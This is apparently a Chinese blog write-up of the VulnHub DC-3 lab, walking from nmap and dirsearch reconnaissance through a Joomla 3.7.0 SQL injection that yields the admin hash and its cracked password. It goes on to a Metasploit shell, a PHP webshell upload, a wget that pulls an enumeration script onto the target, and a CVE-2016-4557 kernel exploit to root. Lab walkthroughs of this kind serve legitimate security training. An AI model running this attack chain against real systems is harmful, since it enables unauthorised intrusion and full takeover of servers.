VulnHub DC-3 靶机渗透测试笔记

VulnHub DC-3 靶机渗透测试笔记

靶机信息

  • 靶机名称:DC-3
  • 靶机来源:VulnHub
  • 目标:获取 root 权限,找到最终 flag
  • 难度:⭐⭐⭐☆☆(中等)
  • 涉及技术:信息收集、Joomla 漏洞利用、SQL注入、Webshell上传、Linux内核提权
  • www.cnblogs.com/wrold/p/196...

一、信息收集

1.1 主机发现

查看本机网段,确认目标网段:

使用 nmap 扫描存活主机:

复制代码
nmap -sn 192.168.168.0/24

扫描结果:

  • 192.168.168.1 → VM8 网卡
  • 192.168.168.2 → 网关
  • 192.168.168.128 → Kali 本机
  • 192.168.168.129靶机 DC-3
  • 192.168.168.254 → DHCP 服务器

1.2 端口与服务扫描

对目标进行全端口详细扫描:

css 复制代码
nmap -A -p- 192.168.168.129

DC-3 只开放了 80 端口,攻击面集中在 Web 应用。

1.3 Web 信息收集

浏览器访问目标网站:

arduino 复制代码
http://192.168.168.129/

使用 Wappalyzer 识别 CMS 类型:

确认为 Joomla CMS,接下来针对 Joomla 进行专项扫描。

1.4 目录扫描

使用 dirsearch 扫描目录,找到后台入口:

arduino 复制代码
dirsearch -u http://192.168.168.129/

发现后台登录页面:

arduino 复制代码
http://192.168.168.129/administrator/

二、漏洞扫描

2.1 使用 JoomScan 识别版本

搜索 Joomla 专用漏洞扫描工具 JoomScan:

安装并使用:

复制代码
sudo apt install joomscan
joomscan -u 192.168.168.129

确认 Joomla 版本为 3.7.0

2.2 搜索 Joomla 3.7.0 漏洞

搜索该版本已知漏洞:

确认存在漏洞,在 MSF 中搜索:

sql 复制代码
search joomla 3.7

三、漏洞利用

3.1 MSF 利用(失败)

尝试使用 MSF 模块直接利用:

arduino 复制代码
use exploit/unix/webapp/joomla_comfields_sqli_rce
show options
set RHOSTS 192.168.168.129
run

报错:

sql 复制代码
No logged-in Administrator or Super User user found!
Exploit completed, but no session was created.

提示需要管理员权限才能利用,需要先获取后台账号。

3.2 SQL 注入获取管理员密码

使用 searchsploit 找到 SQL 注入利用脚本:

复制代码
searchsploit joomla 3.7

找到并查看利用脚本:

bash 复制代码
find / -name 44227.php
cat /usr/share/exploitdb/exploits/php/remote/44227.php

启动 PHP 内置服务器运行该脚本:

bash 复制代码
php -S 0.0.0.0:8888
# 若报错先安装依赖
apt install php-curl -y

(通过网站访问)

输入目标 IP 执行攻击,获取到数据库信息:

字段
Database user root@localhost
Database name joomladb
Database version 5.7.25-0ubuntu0.16.0
Username admin
Email freddy@norealaddress
Password hash <math xmlns="http://www.w3.org/1998/Math/MathML"> 2 y 2y </math>2y10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

将 hash 去在线工具破解,得到明文密码:

复制代码
snoopy

如在线工具解不出,也可以用 john 或 hashcat 配合字典爆破。

3.3 登录后台

使用获取到的账号登录 Joomla 后台:

arduino 复制代码
http://192.168.168.129/administrator/
账号:admin
密码:snoopy

登录成功后,回到 MSF 重新执行攻击,这次成功获取 shell:

arduino 复制代码
use exploit/unix/webapp/joomla_comfields_sqli_rce
set RHOSTS 192.168.168.129
run

漏洞原理说明:

  • SQL 注入脚本利用 Joomla 3.7.0 的 com_fields 组件存在注入点,直接拖库
  • MSF 模块利用的是 Joomla 后台模板编辑功能写入 Webshell,需要管理员权限

四、后渗透与提权

4.1 查看当前权限

获取 shell 后确认当前用户权限:

当前为 www-data 权限,需要提权。

4.2 上传 Webshell

(为了用哥斯拉,也可以不用)

通过 MSF 上传 PHP Webshell 到 Web 目录:

bash 复制代码
upload '/home/kali/桌面/shell.php' /var/www/html/templates/beez3

浏览器访问确认 Webshell 正常运行:

bash 复制代码
http://192.168.168.129/templates/beez3/shell.php

4.3 使用 Linux Exploit Suggester 枚举提权方向

下载提权辅助工具:

可以直接在靶机上下载

perl 复制代码
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

升级为交互式终端并执行:

bash 复制代码
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 les.sh
./les.sh

工具推荐了多个可用的内核提权漏洞,选择使用 CVE-2016-4557(eBPF 双重释放漏洞) ,(比脏牛更稳定。因为脏牛的一个exp失败了,就中间这个,靶机崩了,下面的就是脏牛的,先编译,后续不写了,靶机崩了3次)

注:直接用脏牛(40611.c)时靶机容易崩溃,因此换用了更稳定的 eBPF 利用方式。

4.4 内核提权(CVE-2016-4557)

kali搜索漏洞

txt里面提供了exp的下载链接

下载 exp 并通过 Webshell(哥斯拉)上传到靶机:

图片给错了,上传的是exploit.tar这个exp

解压并编译执行:

bash 复制代码
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

4.5 获取 root 权限

成功提权到 root,获取最终 flag:

bash 复制代码
whoami
cd /root
ls
cat the-flag.txt

五、渗透流程总结

bash 复制代码
信息收集(nmap + dirsearch)
    ↓
发现 Joomla 3.7.0 → JoomScan 确认版本
    ↓
SQL注入(44227.php)→ 获取管理员 hash → 破解得到 snoopy
    ↓
登录后台 → MSF 写入 Webshell → 获取 www-data shell
    ↓
上传 les.sh 枚举提权漏洞
    ↓
CVE-2016-4557 eBPF 内核提权 → root → flag ✅

六、涉及工具汇总

工具 用途
nmap 端口扫描、服务识别
dirsearch Web 目录扫描
Wappalyzer CMS 识别
JoomScan Joomla 专项扫描
searchsploit 本地漏洞库搜索
Metasploit 漏洞利用框架
44227.php Joomla SQL注入利用
linux-exploit-suggester Linux 提权辅助枚举
哥斯拉 Webshell 管理工具

本文为 VulnHub DC-3 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。

相关推荐
叶落阁主1 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954483 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954483 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star3 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher5 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行8 天前
网络安全总结
安全·web安全